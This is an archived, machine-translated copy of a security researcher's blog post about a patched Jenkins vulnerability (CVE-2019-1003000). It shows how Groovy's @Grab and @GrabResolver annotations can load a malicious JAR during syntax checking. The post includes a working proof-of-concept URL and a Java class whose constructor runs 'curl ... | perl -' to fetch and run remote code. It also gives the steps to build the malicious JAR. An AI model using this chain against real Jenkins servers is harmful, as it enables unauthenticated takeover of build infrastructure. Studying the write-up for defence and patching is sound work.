

Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE! (English translation)

Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE! - d3vc0r3, DEVCORE 0000.

- Publisher in English: DEVCORE
- Published: date not stated
- Original: <<https://devco.re/blog/2019/02/19/hacking-jenkins-part2-abusing-meta-programming-for-unauthenticated-rce/>>
- Preserved from: <https://devco.re/blog/2019/02/19/hacking-jenkins-part2-abusing-meta-programming-for-unauthenticated-rce/> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content (translated into English)

Machine translation of `devcore-hacking-jenkins-part-2-abusing-meta-programming-unauthenticated-rce.md`, which holds the source's own words. Code, payloads, type names, URLs and CVE identifiers were masked before translating and restored after, so they are byte-identical to the original.

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

[Technical Column](#) [#Advisory](#) [#CVE](#) [#RCE](#)

Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!

**** Orange Tsai** 2019-02-19

[image: image]

[English Version](#) [Chinese Version](#)

Hi! How is everyone doing today?

This article is the second part of the Hacking Jenkins series! For readers who have not seen the previous article, visit the link below to pick up the basics and learn how Jenkins's dynamic routing mechanism was used to build several different attack chains.

- [Hacking Jenkins Part 1 - Play with Dynamic Routing](#)

As the previous article explained, I wanted to maximize the vulnerability's impact by finding a code-execution flaw that could be combined with the ACL bypass to achieve unauthenticated remote code execution. My initial attempt failed, however. Because of how dynamic routing works, Jenkins checks permissions again whenever it encounters a dangerous operation, such as [Script Console](#). Even after bypassing the outer ACL layer, there was still very little I could do.

Jenkins fixed the dynamic-routing vulnerability I had reported in its [Security Advisory](#) published on 2018-12-05. While preparing this Hacking Jenkins series, I reviewed my original code-audit notes and thought of a different way to exploit one of the gadgets. That became the story in this article. It is one of the more interesting vulnerabilities I have written about recently, and I strongly recommend reading it closely.

Vulnerability Analysis

To explain this vulnerability, [CVE-2019-1003000](#), we must begin with Pipeline. One reason many developers choose Jenkins as their CI/CD server is its powerful Pipeline feature, which makes it easy to write build scripts that automate compilation, testing, and deployment. You can think of Pipeline as a small language for operating Jenkins; in fact, Pipeline is a Groovy-based DSL.

Jenkins provides an interface that lets users check their Pipeline scripts for syntax errors. Imagine that you were implementing this feature. You could write your own AST (Abstract Syntax Tree) parser, but that would be exhausting. The easiest approach is naturally to reuse something that already exists.

As mentioned above, Pipeline is a DSL implemented in Groovy, so it necessarily follows Groovy syntax. The simplest check is therefore this: if Groovy can parse it successfully, the Pipeline syntax must be valid. Jenkins implements this check roughly as follows:

```

public JSON doCheckScriptCompile(@QueryParameter String value) {
    try {
        CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build();
        new
        CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value
    );
    } catch (CompilationFailedException x) {
        return
        JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());
    }
    return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();
    // Approval requirements are managed by regular stapler form validation (via
    doCheckScript)
}

```

This uses `GroovyClassLoader.parseClass(...)` to parse the Groovy syntax. Importantly, this is only AST parsing. Until the `execute()` method is invoked, dangerous operations are not executed. For example, trying to parse this Groovy code appears to do nothing at all :(

```

this.class.classLoader.parseClass(''
print java.lang.Runtime.getRuntime().exec("id")
'');

```

From a developer's perspective, a Pipeline that can operate Jenkins is clearly dangerous and must be protected by strict permissions. But this is only a simple syntax-error check, and many places call it; making its permissions too restrictive would make development needlessly difficult.

That sounds reasonable. It is only AST parsing, with no `execute()` method, so it should be safe. Coincidentally, that became our first entry point. When I first saw this code, I could not think of an exploit and skipped it. While revisiting it for this article, however, I wondered whether Meta-Programming might offer a path forward.

What Is Meta-Programming?

First, let us explain Meta-Programming.

Meta-Programming is a way of thinking about program design. Its essence is an abstraction layer that lets developers use a different model to write more flexible code more efficiently. It has no single strict definition. Dynamically generating code from metadata left by a compiled language, or treating a program itself as data and writing code through a compiler or interpreter, can both be described as Meta-Programming. The idea is broad enough to be studied as its own chapter of programming-language theory.

Most articles and books explain Meta-Programming like this:

Using code to generate code

If that is still hard to understand, think of `eval(...)` in a programming language as Meta-Programming in the broad sense. The analogy is not exact, but it makes the idea easier to grasp: code (the `eval` function) generates code (the function produced by `eval`). Meta-Programming has many applications in software development, including:

- Macros in C
- Templates in C++
- Ruby (Ruby takes Meta-Programming to an extreme and even has dedicated [Book 1](#) and [Book 2](#))
- Annotations in Java
- DSL (Domain Specific Language) applications such as [Sinatra](#) and [Gradle](#)

Meta-Programming can broadly be divided by when it acts: **(1) compile time** and **(2) runtime**. Today's focus is compile-time Meta-Programming.

P.S. I am not a programming-language expert either, so please forgive any imprecision or anything that might set a bad example <(_ _)>

How to Exploit It

We saw above that Jenkins uses [parseClass\(...\)](#) to check syntax, and we recalled that Meta-Programming can dynamically manipulate code at compile time. Compilers and parsers are complicated and contain all kinds of intricate implementations and unusual features. That suggests a natural question: can we make use of a compiler side effect?

A few simple examples include exhausting resources through C macro expansion:

```
#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
#define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a
#define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b
#define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c
#define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d
#define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e
__int128 x[]={f,f,f,f,f,f,f,f};
```

Or exhausting compiler resources by generating a 16 GB executable from 18 bytes:

```
int main[-1u]={1};
```

Or asking the compiler to calculate the Fibonacci sequence for you:

```

template<int n>
struct fib {
    static const int value = fib<n-1>::value + fib<n-2>::value;
};
template<> struct fib<0> { static const int value = 0; };
template<> struct fib<1> { static const int value = 1; };

int main() {
    int a = fib<10>::value; // 55
    int b = fib<20>::value; // 6765
    int c = fib<40>::value; // 102334155
}

```

The assembly output shows that these values were calculated and inserted during compilation rather than at runtime.

```

$ g++ template.cpp -o template
$ objdump -M intel -d template
...
00000000000005fa <main>:
5fa: 55                push    rbp
5fb: 48 89 e5          mov     rbp, rsp
5fe: c7 45 f4 37 00 00 mov     DWORD PTR [rbp-0xc], 0x37
605: c7 45 f8 6d 1a 00 mov     DWORD PTR [rbp-0x8], 0x1a6d
60c: c7 45 fc cb 7e 19 mov     DWORD PTR [rbp-0x4], 0x6197ecb
613: b8 00 00 00 00    mov     eax, 0x0
618: 5d                pop     rbp
619: c3                ret
61a: 66 0f 1f 44 00 00 nop     WORD PTR [rax+rax*1+0x0]
...

```

For more examples, see the Stack Overflow post [Build a Compiler Bomb](#).

First Attempt

Returning to our exploit, Pipeline is a DSL implemented on Groovy, and Groovy happens to be very friendly to Meta-Programming. I searched Groovy's official [Meta-Programming guide](#) for techniques we could use. In section 2.1.9, "Test assistance," I found the `@groovy.transform.ASTTest` annotation. Look closely at its description:

`@ASTTest` is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer "explore" the AST during compilation and **perform assertions on the AST** rather than on the

result of compilation. This means that this AST transformations gives access to the AST before the bytecode is produced. `@ASTTest` can be placed on any annotable node and requires two parameters:

What! It can execute an assertion on the AST? Is that not exactly what we need? I quickly wrote a local proof of concept to see whether it worked:

```
this.class.classLoader.parseClass(''  
@groovy.transform.ASTTest(value={  
    assert java.lang.Runtime.getRuntime().exec("touch pwned")  
})  
def x  
'');
```

```
$ ls  
poc.groovy  
  
$ groovy poc.groovy  
$ ls  
poc.groovy  pwned
```

Damn, it works! But the code is not as simple as we hoped. Trying to reproduce it on a remote Jenkins produced:

```
unable to resolve class org.jenkinsci.plugins.workflow.libs.Library
```

[image: image]

Seriously—what on earth is going on here?

Tracing the root cause showed that the [Pipeline Shared Groovy Libraries Plugin](#) was responsible. Jenkins provides this plugin so users can import custom libraries and reuse common Pipeline functionality. Jenkins imports the library before every Pipeline runs, but the corresponding library is absent from the compile-time classPath, causing this error.

The problem is easy to solve: remove the [Pipeline Shared Groovy Libraries Plugin](#) in the [Jenkins Plugin Manager](#), and arbitrary code execution works.

But this is certainly not the best solution. The plugin is installed automatically with Pipeline, and requiring an administrator to remove it before the vulnerability can be exploited would be ridiculous. We therefore set this path aside and kept searching for another method.

Second Attempt

Continuing through the [Groovy Meta-Programming guide](#), we found another interesting annotation, `@Grab`. The guide does not describe `@Grab` in detail, but a Google search led us to another article: [Dependency management with Grape](#).

Grape (`@Grab`) is Groovy's built-in dynamic JAR dependency manager. It lets developers dynamically import libraries that are not on the classPath. Grape syntax looks like this:

```
@Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE')
import org.springframework.jdbc.core.JdbcTemplate
```

Together with the `@grab` annotation, it lets Groovy import a JAR that is absent from the classPath during compilation. If your only goal is to bypass the normal Pipeline Sandbox while using an account that can execute Pipelines, this is already enough. For example, see the PoC from [@adamyordan](#), which achieves remote code execution when the user credentials are known and the account has sufficient privileges.

Without account credentials or the `execute()` method, however, this remains only a simple AST parser. You cannot even control a file on the remote server. What can we do? Continuing our investigation, we found an interesting annotation named `@GrabResolver`, used as follows:

```
@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
```

Seeing this, you probably want to replace `root` with a malicious URL. Let us see what happens.

```
this.class.classLoader.parseClass('''
@GrabResolver(name='restlet', root='http://orange.tw/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
''')
```

```
11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD
/org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-"
"Apache Ivy/2.4.0"
```

Damn, it really fetches it! At this point we had confirmed that Grape can make Jenkins import a malicious library. The next question was how to execute code.

How Can We Execute Arbitrary Code?

Exploitation research often asks how to turn a simple arbitrary read or write into system-level code execution. The previous example lets us use Grape to write a malicious JAR to the remote server, but how do we execute that JAR? That is another problem.

Following Groovy's implementation of [Grape](#), we learned that network retrieval is handled by the [groovy.grape.Grapelvy](#) class. We searched the implementation for any opportunity to execute code and found an interesting method, [processOtherServices\(...\)](#):

```
void processOtherServices(ClassLoader loader, File f) {
    try {
        ZipFile zf = new ZipFile(f)
        ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")
        if (serializedCategoryMethods != null) {

            processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))
        }
        ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")
        if (pluginRunners != null) {
            processRunners(zf.getInputStream(pluginRunners), f.getName(), loader)
        }
    } catch (ZipException ignore) {
        // ignore files we can't process, e.g. non-jar/zip artifacts
        // TODO log a warning
    }
}
```

A JAR is a subset of the ZIP archive format. Grape checks the file for several designated entry points, and the `Runner` entry-point check caught our attention. Following the implementation of [processRunners\(...\)](#), we found:

```
void processRunners(InputStream is, String name, ClassLoader loader) {
    is.text.readLines().each {
        GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance()
    }
}
```

Does `newInstance()` not mean that we can call the `Constructor` of an arbitrary class? Exactly. Create a malicious JAR and place the fully qualified name of the class to execute in `META-INF/services/org.codehaus.groovy.plugins.Runners`; this invokes that class's `Constructor` and executes arbitrary code. The complete exploitation process is:

```

public class Orange {
    public Orange(){
        try {
            String payload = "curl orange.tw/bc.pl | perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }
    }
}

```

```

$ javac Orange.java
$ mkdir -p META-INF/services/
$ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...

```

PoC:

```

http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;

```

Video:

Epilogue

At this point we can fully control the remote server. Meta-Programming imports a malicious JAR during AST parsing, and Java's Static_INITIALIZER feature executes arbitrary commands. Jenkins has a built-in Groovy Sandbox ([Script Security Plugin](#)), but this vulnerability occurs during compilation rather than execution, making the Sandbox ineffective.

Because this attacks Groovy's underlying behavior, any place that exposes Groovy parsing may be vulnerable. That is what makes the vulnerability interesting: it breaks the common developer assumption that nothing dangerous can happen if code is never executed. It also uses a technique an attacker might not consider without a computer-science theory background—otherwise Meta-Programming would hardly come to mind. Besides the two entry points I reported, `doCheckScriptCompile(...)` and `toJson(...)`, [Mikhail Egorov](#) quickly found another [entry point](#) that could trigger the vulnerability after the fix.

The vulnerability can also be chained with the flaw from my previous article, [Hacking Jenkins Part 1](#), to bypass the Overall/Read restriction and become genuine unauthenticated remote code execution. If you carefully read both articles, that chain should not be difficult to construct. Are there more ways to use it? I will leave everyone free to build their own attack chains.

Thank you for reading. This brings the Hacking Jenkins series to a stopping point for now. More interesting technical research will be published in the future, so stay tuned.